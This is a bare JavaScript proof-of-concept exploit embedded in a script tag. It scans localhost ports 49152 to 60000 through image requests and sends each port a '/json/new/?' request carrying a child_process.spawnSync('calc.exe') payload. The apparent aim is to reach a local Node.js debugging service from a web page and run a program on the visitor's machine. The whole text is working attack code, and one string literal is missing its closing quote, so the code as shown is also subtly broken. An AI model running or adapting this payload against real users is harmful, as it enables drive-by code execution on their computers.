<script>
var port        = 49152;
var maxport     = 60000;
var concurrent  = 128;

function nextPort()
{
    var img = document.createElement('IMG');
    img.alt = "Testing " + port + "...";
    img.src = "http://127.0.0.1:
            + port++
            + "/json/new/?"
            + "javascript:require('child_process')"
            + ".spawnSync('calc.exe')";

    img.onload = img.onerror = function(e) {
        document.body.removeChild(e.target);
        nextPort();
    }

    if (port < maxport) {
        document.body.appendChild(img);
    }
}

for (i = 0; i < concurrent; i++)
    nextPort();

</script>